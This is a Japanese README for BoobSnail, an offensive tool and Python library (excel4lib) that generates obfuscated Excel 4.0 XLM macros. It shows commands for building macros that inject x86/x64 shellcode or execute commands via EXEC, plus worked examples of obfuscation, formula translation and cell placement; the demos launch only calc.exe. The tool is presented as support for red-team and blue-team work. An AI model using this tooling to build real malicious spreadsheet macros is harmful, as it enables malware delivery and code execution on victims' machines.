
難読化されたExcel 4.0 XLMマクロを生成し、レッドチーム運用とブルーチーム分析を支援します。複数の感染テクニック、数式の翻訳、ライブラリベースのカスタムジェネレータをサポートします。
Twitterでフォローしてください! Twitter!
BoobSnailはXLM(Excel 4.0)マクロの生成を可能にします。その目的は、RedTeamおよびBlueTeamのXLMマクロ生成をサポートすることです。 機能:
テスト環境: Python 3.8.7rc1
pip install -r requirements.txt
python boobsnail.py
___. ___. _________ .__.__
\_ |__ ____ ____\_ |__ / _____/ ____ _____ |__| |
| __ \ / _ \ / _ \| __ \ \_____ \ / \__ \ | | |
| \_\ ( <_> | <_> ) \_\ \/ \ | \/ __ \| | |__
|___ /\____/ \____/|___ /_______ /___| (____ /__|____/
\/ \/ \/ \/ \/
Author: @_mzer0 @stm_cyber
(...)
python boobsnail.py <generator> -h
利用可能なジェネレーターを表示するには次のように入力します:
python boobsnail.py
x64またはx86シェルコードを注入する難読化マクロを生成:
python boobsnail.py Excel4NtDonutGenerator --inputx86 <PATH_TO_SHELLCODE> --inputx64 <PATH_TO_SHELLCODE> --out boobsnail.csv
calc.exeを実行する難読化マクロを生成:
python boobsnail.py Excel4ExecGenerator --cmd "powershell.exe -c calc.exe" --out boobsnail.csv
BoobSnailは、独自のExcel4マクロジェネレーターを作成できるexcel4libライブラリを提供します。 excel4libには、ジェネレーター作成時に使用できるいくつかのクラスが含まれています:
このライブラリの主なアイデアは、Excel4の数式、変数、数式の引数、および値をPythonオブジェクトとして表現することです。 これにより、数式や変数名、値、アドレスなどの命令属性を簡単に変更できます。 例えば、calc.exeを実行する簡単なマクロを作成しましょう
from excel4lib.macro import *
# Create macro object
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
結果:
cmd="calc.exe";
=EXEC(cmd);
次に、マクロを難読化したいとします。これを行うには、難読化プログラムをインポートしてExcel4Macroオブジェクトに渡すだけです:
from excel4lib.macro import *
from excel4lib.macro.obfuscator import *
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
現在、excel4libは2つの難読化クラスを提供しています:
ご覧の通り、独自の難読化クラスを作成してExcel4Macroで使用できます。
場合によっては、マクロを別の言語、例えば母国語(私の場合はポーランド語)に翻訳する必要があります。excel4libを使えばとても簡単です。 Excel4Translatorクラスをインポートしてset_languageを呼び出すだけです。
from excel4lib.macro import *
from excel4lib.lang.excel4_translator import *
# Change language
Excel4Translator.set_language("pl_PL")
# Create macro object
macro = Excel4Macro("test.csv", obfuscator=Excel4Obfuscator())
# Add variable called cmd with value "calc.exe" to the worksheet
cmd = macro.variable("cmd", "calc.exe")
# Add EXEC formula with argument cmd
macro.formula("EXEC", cmd)
# Dump to CSV
print(macro.to_csv())
結果:
cmd="calc.exe";
=URUCHOM.PROGRAM(cmd);
現在、英語とポーランド語のみがサポートされています。別の言語を使用する場合は、excel4lib/lang/langsディレクトリに翻訳を追加する必要があります。
当然、別の数式を引数として受け取る数式を作成する必要があります。これはExcel4Macro.argument関数を使用して行えます。
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Create CONCATENATE formula that CONCATENATEs cmd_1 and cmd_2
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
macro.formula("EXEC", exec_arg)
# Dump to CSV
print(macro.to_csv())
結果:
cmd="calc";
.exe;
=EXEC(CONCATENATE(cmd,R2C1));
ご覧の通り、".exe"文字列はR2C1としてCONCATENATE数式に渡されました。R2C1は".exe"値のアドレスです(行番号2、列番号1)。 excel4libは数式や値への参照をアドレスとして返します。変数への参照はその名前として返されます。 Excel4Macroクラスは、これらのオブジェクトが作成された順序で数式、変数、値をワークシートに自動的に追加し、開始アドレスがR1C1であることにお気づきでしょうか。 数式を別の列や行に配置したい場合はどうすればよいですか?Excel4Macro.set_cords関数を呼び出すことで可能です。
from excel4lib.macro import *
macro = Excel4Macro("test.csv")
# Column 1
# Add variable called cmd with value "calc" to the worksheet
cmd_1 = macro.variable("cmd", "calc")
# Add cell containing .exe as value
cmd_2 = macro.value(".exe")
# Column 2
# Change cords to columns 2
macro.set_cords(2,1)
exec_arg = macro.argument("CONCATENATE", cmd_1, cmd_2)
# Pass CONCATENATE call as argument to EXEC formula
exec_call = macro.formula("EXEC", exec_arg)
# Column 1
# Back to column 1. Change cords to column 1 and row 3
macro.set_cords(1,3)
# GOTO EXEC call
macro.goto(exec_call)
# Dump to CSV
print(macro.to_csv())
結果:
cmd="calc";=EXEC(CONCATENATE(cmd,R2C1));
.exe;;
=GOTO(R1C2);;